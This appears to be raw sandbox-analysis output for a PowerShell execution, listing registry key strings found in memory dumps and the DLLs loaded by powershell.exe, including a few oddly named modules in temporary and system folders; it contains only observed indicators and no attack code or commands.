"\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000003.153126.09777000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00002344.00000003.153126.09C20000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00002344.00000003.153126.09C71000.00000020.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00004816.00000000.153254.B0850000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004816.00000000.153254.B0850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004816.00000000.153254.B0850000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004816.00000000.153254.B0850000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00004816.00000000.153254.B0850000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004816.00000000.153254.CACC0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004816.00000000.153254.CACC0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004816.00000001.155173.6543A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004816.00000001.155173.6543A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004816.00000001.155173.6543A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004816.00000001.155173.6543A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004816.00000001.155173.6543A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004816.00000001.155173.6543A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00004816.00000001.155173.6B7C8000.00000002.mdmp "HKLM\" in Source: 00000000-00004816.00000001.155173.6B7C8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00004816.00000001.155173.6B7C8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004816.00000001.155173.6B7C8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00004816.00000001.155173.6B7C8000.00000002.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00004816.00000001.155173.B0850000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004816.00000001.155173.B0850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004816.00000001.155173.B0850000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004816.00000001.155173.B0850000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00004816.00000001.155173.B0850000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004816.00000001.155173.CACC0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004816.00000001.155173.CACC0000.00000004.mdmp40:T4e84,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe8f080000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe8f080000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe8f080000 "powershell.exe" loaded module "KERNEL32" at base 7ffe8f860000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe6f5c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe8ca00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffe8e760000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffe780a0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffe8f860000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffe8aa40000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffe90a10000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffe92070000 "powershell.exe" loaded module "CSCAPI.DLL" at base 7ffe81060000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe8e490000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffe8fb00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffe7c3b0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 1d1f17a0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe8e450000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffe865b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffe606b0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffe8f910000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe8f080000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffe7d510000 "powershell.exe" loaded module "NTDLL" at base 7ffe92070000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe8f540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffe5f0b0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffe8fc50000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe8f540000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffe8fda0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffe5e440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffe5d9c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe5d910000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe8d860000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffe5b8a0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffe8f540000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffe8f540000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffe90c00000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffe908e0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffe8f2f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffe8f2f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe8eeb0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffe8eeb0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe7bbc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe865b0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe7bba0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\1M5IWXWL.DLL" at base 7ffe7bb50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe7bab0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffe5af30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe7b940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe5adc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffe5a510000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffe5a1a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffe6f420000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe8f080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffe5a050000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe59fe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffe59f00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe59dc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe797c0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffe85760000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffe8e2f0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffe8d420000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffe59ce0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe8f860000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffe8e2c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe8fb00000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffe8f540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffe58fd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe7b910000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffe58d90000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffe8df20000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76e00000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76e00000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76e00000 "powershell.exe" loaded module "KERNEL32" at base 76b40000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73010000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76b40000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 77150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72f80000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 76520000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 745d0000 "powershell.exe" loaded module "VERSION.DLL" at base 742d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 727d0000 "powershell.exe" loaded module "USER32.DLL" at base 74a10000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76e00000 "powershell.exe" loaded module "MSCOREE.DLL" at base 730c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 745f0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 77ad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 712f0000 "powershell.exe" loaded module "OLE32.DLL" at base 74cb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 745f0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 771e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 712c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76210000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76e00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71230000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 707d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6ffb0000 "powershell.exe" loaded module "COMBASE.DLL" at base 745f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 745f0000 "powershell.exe" loaded module "NTDLL.DLL" at base 77b90000 "powershell.exe" loaded module "SHELL32.DLL" at base 74e50000 "powershell.exe" loaded module "PSAPI.DLL" at base 77280000 "powershell.exe" loaded module "WINTRUST.DLL" at base 74db0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74db0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 76390000 "powershell.exe" loaded module "AMSI.DLL" at base 6ffa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f7f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 742d0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 6f7b0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 76390000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\1M5IWXWL.DLL" at base 6f770000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6f6f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6f390000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f280000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 745f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6f230000 "powershell.exe" loaded module "SECUR32.DLL" at base 6f220000 "powershell.exe" loaded module "SSPICLI.DLL" at base 745b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74060000 "powershell.exe" loaded module "WLDP.DLL" at base 6f200000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6f160000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 76b40000 "powershell.exe" loaded module "USERENV.DLL" at base 6ff70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 77150000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76b40000 "powershell.exe" loaded module "URLMON.DLL" at base 73ea0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 76e00000 "powershell.exe" loaded module "MSISO.DLL" at base 731c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6f100000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6f0e0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6f0b0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6ef50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6ef20000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6ef20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6ee00000 "powershell.exe" loaded module "BCRYPT.DLL" at base 73470000 "powershell.exe" loaded module "UXTHEME.DLL" at base 74060000 "powershell.exe" loaded module "ADVAPI32" at base 77150000 "powershell.exe" loaded module "WININET.DLL" at base 6eb30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 733a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6eae0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6ead0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6ea60000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 6ea50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 6e9e0000 "powershell.exe" loaded module "WS2_32.DLL" at base 77040000 "powershell.exe" loaded module "GDIPLUS.DLL" at base 742f0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWS.STORAGE.DLL" at base 76570000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73b00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.SEARCH.DLL" at base 6e790000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\STRUCTUREDQUERY.DLL" at base 6e700000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76570000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 74e50000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 73220000 "powershell.exe" loaded module "COMCTL32.DLL" at base 73820000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPWIZ.CPL" at base 6e640000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTYPES.DLL" at base 6e100000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe80ad0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 182b2370000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffe69940000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffe80b40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffe5fb80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffe68cd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffe5f100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe7ba70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffe5d090000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe85180000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe83570000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\1M5IWXWL.DLL" at base 7ffe80a80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe7cc20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe7b900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe6f910000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffe5c720000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffe5be70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffe7eca0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffe6ecc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffe6f7c0000 "powershell.exe" loaded module 